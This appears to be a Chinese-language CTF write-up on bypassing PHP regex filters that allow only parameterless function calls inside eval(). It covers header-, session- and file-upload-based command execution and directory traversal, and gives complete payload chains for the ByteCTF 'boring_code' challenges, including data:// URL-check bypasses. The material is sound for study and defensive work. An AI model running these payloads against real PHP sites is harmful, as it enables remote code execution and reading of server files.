PHP-RCE-Bypass
无参数函数执行
https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/
大致思路如下:
- 利用超全局变量进行bypass,进行RCE
- 进行任意文件读取
什么是无参数函数RCE
传统意义上,如果我们有
1 | eval($_GET['code']); |
即代表我们拥有了一句话木马,可以进行getshell,例如
但是如果有如下限制
1 | if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { eval($_GET['code']);} |
我们会发现我们使用参数则无法通过正则的校验
1 | /[^\W]+\((?R)?\)/ |
而该正则,正是我们说的无参数函数的校验,其只允许执行如下格式函数
1 | a(b(c()));a(); |
但不允许
1 | a('123'); |
这样一来,失去了参数,我们进行RCE的难度则会大幅上升。
而本篇文章旨在bypass这种限制,并做出一些更苛刻条件的Bypass。
法一:getenv()
查阅php手册,有非常多的超全局变量
1 | $GLOBALS |
我们可以使用$_ENV
,对应函数为getenv()
虽然getenv()
可获取当前环境变量,但我们怎么从一个偌大的数组中取出我们指定的值成了问题
这里可以使用方法:
效果如下
但是我不想要下标,我想要数组的值,那么我们可以使用
两者结合使用即可有如下效果
我们则可用爆破的方式获取数组中任意位置需要的值,那么即可使用getenv(),并获取指定位置的恶意参数
法二:getallheaders()
之前我们获取的是所有环境变量的列表,但其实我们并不需要这么多信息。仅仅http header
即可
在apache2环境下,我们有函数getallheaders()
可返回
我们可以看一下返回值
1 | array(8) { |
我们可以看到,成功返回了http header,我们可以在header中做一些自定义的手段,例如
此时我们再将结果中的恶意命令取出
1 | var_dump(end(getallheaders())); |
这样一来相当于我们将http header中的sky变成了我们的参数,可用其进行bypass 无参数函数执行
例如
那么可以进一步利用http header的sky属性进行rce
法三:get_defined_vars()
使用getallheaders()其实具有局限性,因为他是apache的函数,如果目标中间件不为apache,那么这种方法就会失效,我们也没有更加普遍的方式呢?
这里我们可以使用get_defined_vars(),首先看一下它的回显
发现其可以回显全局变量
1 | $_GET |
我们这里的选择也就具有多样性,可以利用$_GET
进行RCE,例如
还是和之前的思路一样,将恶意参数取出
发现可以成功RCE
但一般网站喜欢对
1 | $_GET |
做全局过滤,所以我们可以尝试从$_FILES
下手,这就需要我们自己写一个上传
可以发现空格会被替换成_
,为防止干扰我们用hex编码进行RCE
最终脚本如下
1 | import requests |
法四:session_id()
之前我们使用$_FILES
下手,其实这里还能从$_COOKIE
下手:
我们有函数
可以获取PHPSESSID的值,而我们知道PHPSESSID允许字母和数字出现,那么我们就有了新的思路,即hex2bin
脚本如下
1 | import requests |
即可达成RCE和bypass的目的
法五:dirname() & chdir()
为什么一定要RCE呢?我们能不能直接读文件?
之前的方法都基于可以进行RCE,如果目标真的不能RCE呢?我们能不能进行任意读取?
那么想读文件,就必须进行目录遍历,没有参数,怎么进行目录遍历呢?
首先,我们可以利用getcwd()
获取当前目录
1 | ?code=var_dump(getcwd()); |
那么怎么进行当前目录的目录遍历呢?
这里用scandir()
即可
1 | ?code=var_dump(scandir(getcwd())); |
那么既然不在这一层目录,如何进行目录上跳呢?
我们用dirname()
即可
1 | ?code=var_dump(scandir(dirname(getcwd()))); |
那么怎么更改我们的当前目录呢?这里我们发现有函数可以更改当前目录
1 | chdir ( string $directory ) : bool |
将 PHP 的当前目录改为 directory。
所以我们这里在
1 | dirname(getcwd()) |
进行如下设置即可
1 | chdir(dirname(getcwd())) |
我们尝试读取/var/www/123
1 | http://localhost/?code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd()))))))); |
即可进行文件读取
相关题目
ByteCTF
https://www.cnblogs.com/BOHB-yunying/p/11616311.html#AJ2HTQpD
boring_code
1 |
|
- 第一层
如果不买域名(氪金)的话需要绕过filter_var
和parse_url
。
当时看到一篇文章(一会搬运过来或者自己复现一下),如何绕过filter_var
和parse_url
,在file_get_contents
的情况下,可以用data://
伪协议来绕过,对于这样的形式data://text/plain;base64,xxxxx
,parse_url
会将text作为host,并且PHP对MIME不敏感,改为这样data://baidu.com/plain;base64,xxxxx
就能绕过,并且file_get_contents
能直接读取到xxxx的内容。
- 第二层
preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)
preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)
- 第一个正则,百度
(?R)
无果,PHP regex
中显示如下
(?R)? recurses the entire pattern
意思为递归整个匹配模式。所以正则的含义就是匹配无参数的函数,内部可以 无限嵌套相同的模式(无参数函数)
- 第二个正则,过滤了一些字符,限制你的代码执行。现在需要做的就是让其
eval(code)
,读取到当前文件夹下的某些东西。
给的注释,flag
在index.php
同目录下,www flag,而我们执行的环境是www/code/code.php
因此我们需要跨目录到上级目录
payload学习分析
payload:
echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));
第一层:
首先我们需要跨目录,如何获取..
呢?
1 | scandir 扫描目录 |
localeconv
数组的第一个元素就是.
- 然后用
pos
current的别名获取.
scandir('.')
扫描当前目录后回显是'.','..',
第二个元素是..
- 再通过
chdir('..')
跳转到上级目录
完成第一层
第二层:
1 | localtime() 返回本地时间,默认为数值数组 |
- 因为
chdir()
返回的是bool
值,成功返回1
,我们还需要继续读取 - 这里用到
time()
,直接数值扔到time()
中。接下来最核心的就是chr
和localtime
的配合获得.
的姿势 - 可以看到第一个参数可以默认time(),因此无影响。pos获取第一个参数秒数的值,然后用
chr(秒数)
,因为.
的10进制ascii码为46
,也就是当每分钟的46秒时候我们可以获得.
- 然后再次通过
scandir('.')
扫描当前目录,end
取最后一个flag文件,因为字母排序问题,f
偏后。 - 最后通过
echo readfile()
输出读取到的当前目录下的最后一个文件即flag
第二层成功。
结束。
更多的payload
对于第一层的绕过,很多是氪金的。现在看到有两种方式。
- ftp协议/百度跳转来bypass
compress.zlib://data:@baidu.com/baidu.com?,echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));
boring_code+
1 | if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) { |
对比boring_code,额外过滤了readfile,if,time,local,sqrt等函数。
那上面我面我分析的payload就无法生效了。
这里直接发出我用的payload:
1 | echo(serialize(file(end(scandir(chr(ord(strrev(crypt(serialize(array(date(chdir(next(scandir(chr(ord(strrev(crypt(serialize(array())))))))))))))))))))); |
payload学习分析
第一层
发现了一个file() 函数
file() 函数把整个文件读入一个数组中。
与 file_get_contents() 类似,不同的是 file() 将文件作为一个数组返回。数组中的每个单元都是文件中相应的一行,包括换行符在内。
如果失败,则返回 false
既然是一个数组,我们可以用serialize序列化函数来转成一个字符串
呢么读取flag的无参数函数就有了echo(serialize(file()))
第二层
最重要的是.
的获取,但是local和time都被ban了,该怎么获得.
呢。
crypt(serialize(array()));
利用crypt返回一个加密的字符串,加密的字符串末尾有几率出现一个.
总共末尾会出现四种情况. 0 1 /
chr(ord(strrev()))
再通过反转字符,将.
反转到第一位,可以通过ord取到第一位,再通过chr转化为.
ord会取字符串中的第一位转化为ascii码
第三层
其实这里我做了不必要的date()函数吃掉bool放进array中。通过实践发现
根本无需在crypt中加入serizlize(array()),直接crypt吃掉chdir即可,只需要crypt里面的是一个字符串,返回的bool值也是字符串
缩短后的payload:
1 | echo(serialize(file(end(scandir(chr(ord(strrev(crypt(chdir(next(scandir(chr(ord(strrev(crypt(serialize(array()))))))))))))))))); |
获得.
的骚姿势
Math函数
我更愿意归结于math函数而不是phpversion,即便你知道phpversion函数,通过复杂的运算,你还是需要fuzz
payload:
1 | `ceil``(sinh(``cosh``(tan(``floor``(sqrt(``floor``(phpversion())))))))` |
核心思路是 : phpversion() 函数会返回当前PHP的版本好 , 然后可以用 floor() 函数取第一位的数值( 固定为 7 )
1 floor() : 返回不大于 x 的下一个整数 , 简单的说就是向下取整
有了数字 7
, 就可以通过各种数学运算拿到数字46
, 也就是ASCII字符 .
1
2
3
4
5 sqrt() : 返回一个数字的平方根
tan() : 返回一个数字的正切
cosh() : 返回一个数字的双曲余弦
sinh() : 返回一个数字的双曲正弦
ceil() : 返回不小于一个数字的下一个整数 , 也就是向上取整
经过上面这些步骤 , 能拿到数字 46
再通过 chr()
函数就可以返回 ASCII 编码为 46 的字符 , 也就为 .
, 后面的步骤就和之前一样 , 跳转到根目录 , 然后读取 index.php 文件
localeconv函数
同boring_code
crypt函数
首先定义一个数组 , 然后对其进行序列化操作 , 输出序列化字符串 , 这里没什么问题 . 然后就用到一个非常关键的函数 : crypt()
1 crypt($str , [$salt]) : 返回一个基于标准 UNIX DES 算法或系统上其他可用的替代算法的散列字符串 .
说起来很复杂 , 你仅需要知道它可以返回一个加密字符串
.
会出现在加密字符串的末尾( 加密字符串的开头默认为 : $
) ,scandir(getcwd())
不能用 , 但可以用 scandir('.')
hebrevc() 函数
1 | readfile(end(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))); |
hebrevc() 函数把希伯来文本从右至左的流转换为左至右的流,其实也是crypt的特性,只是都是反转而已.